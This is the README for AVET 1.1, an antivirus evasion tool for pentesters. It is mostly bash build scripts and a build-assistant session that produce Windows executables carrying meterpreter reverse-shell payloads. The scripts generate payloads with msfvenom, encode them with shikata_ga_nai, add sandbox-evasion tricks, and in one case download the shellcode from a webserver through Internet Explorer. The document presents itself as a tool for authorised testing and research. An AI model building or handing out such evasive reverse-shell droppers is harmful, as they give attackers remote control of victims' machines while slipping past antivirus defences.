AVET is an AntiVirus Evasion Tool, which was developed for making life easier for pentesters and for experimenting with antivirus evasion techniques. In version 1.1 lot of stuff was introduced, for a complete overview have a look at the CHANGELOG file. Now 64bit payloads can also be used, for easier usage I hacked a small build tool (avet_fabric.py).
For basics about antivirus evasion have a look at my old article: https://govolutionde.files.wordpress.com/2014/05/avevasion_pentestmag.pdf and my Deepsec presentation: https://deepsec.net/docs/Slides/2014/Why_Antivirus_Fails_-_Daniel_Sauder.pdf
What & Why:
- when running an exe file made with msfpayload & co, the exe file will often be recognized by the antivirus software
- avet is a antivirus evasion tool targeting windows machines with executable files
- assembly shellcodes can be used
- make_avet can be used for configuring the sourcecode
- with make_avet you can load ASCII encoded shellcodes from a textfile or from a webserver, further it is using an av evasion technique to avoid sandboxing and emulation
- for ASCII encoding the shellcode the tool format.sh and sh_format are included
- this readme applies for Kali 2 (64bit) and tdm-gcc
How to install tdm-gcc with wine: https://govolution.wordpress.com/2017/02/04/using-tdm-gcc-with-kali-2/
Compile if needed:
$ gcc -o make_avet make_avet.c
The purpose of make_avet is to preconfigure a definition file (defs.h) so that the source code can be compiled in the next step. This way the payload will be encoded as ASCII payload or with encoders from metasploit. You hardly can beat shikata-ga-nai.
Let's have a look at the options from make_avet, examples will be given below: -l load and exec shellcode from given file, call is with mytrojan.exe myshellcode.txt -f compile shellcode into .exe, needs filename of shellcode file -u load and exec shellcode from url using internet explorer (url is compiled into executable) -E use avets ASCII encryption, often do not has to be used Note: with -l -E is mandatory -F use fopen sandbox evasion -X compile for 64 bit -p print debug information -h help
Of course it is possible to run all commands step by step from command line. But it is strongly recommended to use build scripts or the avet_fabric.py.
The build scripts themselves are written so as they have to be called from within the avet directory:
root@kalidan:~/tools/avet# ./build/build_win32_meterpreter_rev_https_20xshikata.sh
Here are some explained examples for building the .exe files from the build directory. Please have a look at the other build scripts for further explanation.
Compile shellcode into the .exe file and use -F as evasion technique. Note that this example will work for most antivirus engines. Here -E is used for encoding the shellcode as ASCII.
#!/bin/bash
# simple example script for building the .exe file
# include script containing the compiler var $win32_compiler
# you can edit the compiler in build/global_win32.sh
# or enter $win32_compiler="mycompiler" here
. build/global_win32.sh
# make meterpreter reverse payload, encoded with shikata_ga_nai
# additionaly to the avet encoder, further encoding should be used
msfvenom -p windows/meterpreter/reverse_https lhost=192.168.116.132 lport=443 -e x86/shikata_ga_nai -i 3 -f c -a x86 --platform Windows > sc.txt
# format the shellcode for make_avet
./format.sh sc.txt > scclean.txt && rm sc.txt
# call make_avet, the -f compiles the shellcode to the exe file, the -F is for the AV sandbox evasion, -E will encode the shellcode as ASCII
./make_avet -f scclean.txt -F -E
# compile to pwn.exe file
$win32_compiler -o pwn.exe avet.c
# cleanup
rm scclean.txt && echo "" > defs.h
Usage without -E. The ASCII encoder does not have to be used, here is how to compile without -E. In this example the evasion technique is quit simple! The shellcode is encoded with 20 rounds of shikata-ga-nai, often enough that does the trick. This technique is pretty similar to a junk loop. Execute so much code that the AV engine breaks up execution and let the file pass.
#!/bin/bash
# simple example script for building the .exe file
# include script containing the compiler var $win32_compiler
# you can edit the compiler in build/global_win32.sh
# or enter $win32_compiler="mycompiler" here
. build/global_win32.sh
# make meterpreter reverse payload, encoded 20 rounds with shikata_ga_nai
msfvenom -p windows/meterpreter/reverse_https lhost=192.168.116.128 lport=443 -e x86/shikata_ga_nai -i 20 -f c -a x86 --platform Windows > sc.txt
# call make_avet, the sandbox escape is due to the many rounds of decoding the shellcode
./make_avet -f sc.txt
# compile to pwn.exe file
$win32_compiler -o pwn.exe avet.c
# cleanup
echo "" > defs.h
Great to notice that still for 64bit payload no further evasion techniques has to be used. But -F should work here too.
#!/bin/bash
# simple example script for building the .exe file
. build/global_win64.sh
# make meterpreter reverse payload
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.116.132 lport=443 -f c --platform Windows > sc.txt
# format the shellcode for make_avet
./format.sh sc.txt > scclean.txt && rm sc.txt
# call make_avet, compile
./make_avet -f scclean.txt -X -E
$win64_compiler -o pwn.exe avet.c
# cleanup
rm scclean.txt && echo "" > defs.h
Here the ASCII encoder is needed. The executable will load the payload from a text file, which is enough for most AV engines to let the payload execute.
#!/bin/bash
# simple example script for building the .exe file that loads the payload from a given text file
# include script containing the compiler var $win32_compiler
# you can edit the compiler in build/global_win32.sh
# or enter $win32_compiler="mycompiler" here
. build/global_win32.sh
# make meterpreter reverse payload, encoded with shikata_ga_nai
# additionaly to the avet encoder, further encoding should be used
msfvenom -p windows/meterpreter/reverse_https lhost=192.168.116.132 lport=443 -e x86/shikata_ga_nai -f c -a x86 --platform Windows > sc.txt
# format the shellcode for make_avet
./format.sh sc.txt > thepayload.txt && rm sc.txt
# call make_avet, the -l compiles the filename into the .exe file
./make_avet -l thepayload.exe -E
# compile to pwn.exe file
$win32_compiler -o pwn.exe avet.c
# cleanup
#echo "" > defs.h
# now you can call your programm with pwn.exe, thepayload.txt has to be in the same dir
This is a bit tricky and might not work on the first shot. The executable will start Internet Explorer and download the ASCII encoded shellcode. Then the shellcode will be read from the cache directory and if found executed. This was tested with Windows 7 only.
#!/bin/bash
# simple example script for building the .exe file
. build/global_win32.sh
# make meterpreter reverse payload, encoded with shikata_ga_nai
# additionaly to the avet encoder, further encoding should be used
msfvenom -p windows/meterpreter/reverse_https lhost=192.168.2.105 lport=443 -e x86/shikata_ga_nai -i 2 -f c -a x86 --platform Windows > sc.txt
# format the shellcode for make_avet
./format.sh sc.txt > scclean.txt && rm sc.txt
# call make_avet, compile
./make_avet -E -u 192.168.2.105/scclean.txt
$win32_compiler -o pwn.exe avet.c
# cleanup
echo " " > defs.h
# now copy scclean.txt to your web root and start
avet_fabric is an assistant, that loads all build scripts in the build directory (name has to be build*.sh) and then lets the user edit the settings line by line. This is under huge development.
Example:
# ./avet_fabric.py
.| , +
* | | (( *
|'| ` ._____
+ ___ | | * |. |' .---"|
_ .-' '-. | | .--'| || | _| |
.-'| _.| | || '-__ | | | || |
|' | |. | || | | | | || |
___| '-' ' "" '-' '-.' '` |____
jgs~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
AVET 1.1 Blackhat Asia 2017 edition
by Daniel Sauder
avet_fabric.py is an assistant for building exe files with shellcode payloads for targeted attacks and antivirus evasion.
0: build_win32_meterpreter_rev_https_shikata_loadfile.sh
1: build_win32_meterpreter_rev_https_shikata_fopen.sh
2: build_win32_meterpreter_rev_https_shikata_load_ie_debug.sh
3: build_win32_shell_rev_tcp_shikata_fopen_kaspersky.sh
4: build_win32_meterpreter_rev_https_20xshikata.sh
5: build_win32_meterpreter_rev_https_shikata_load_ie.sh
6: build_win64_meterpreter_rev_tcp.sh
Input number of the script you want use and hit enter: 6
Now you can edit the build script line by line.
simple example script for building the .exe file
$ . build/global_win64.sh
make meterpreter reverse payload
$ msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.116.132 lport=443 -f c --platform Windows > sc.txt
format the shellcode for make_avet
$ ./format.sh sc.txt > scclean.txt && rm sc.txt
call make_avet, compile
$ ./make_avet -f scclean.txt -X -E
$ $win64_compiler -o pwn.exe avet.c
cleanup
$ rm scclean.txt && echo "" > defs.h
The following commands will be executed:
#/bin/bash
. build/global_win64.sh
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.116.132 lport=443 -f c --platform Windows > sc.txt
./format.sh sc.txt > scclean.txt && rm sc.txt
./make_avet -f scclean.txt -X -E
$win64_compiler -o pwn.exe avet.c
rm scclean.txt && echo "" > defs.h
Press enter to continue.
Building the output file...
Please stand by...
The output file should be placed in the current directory.
Bye...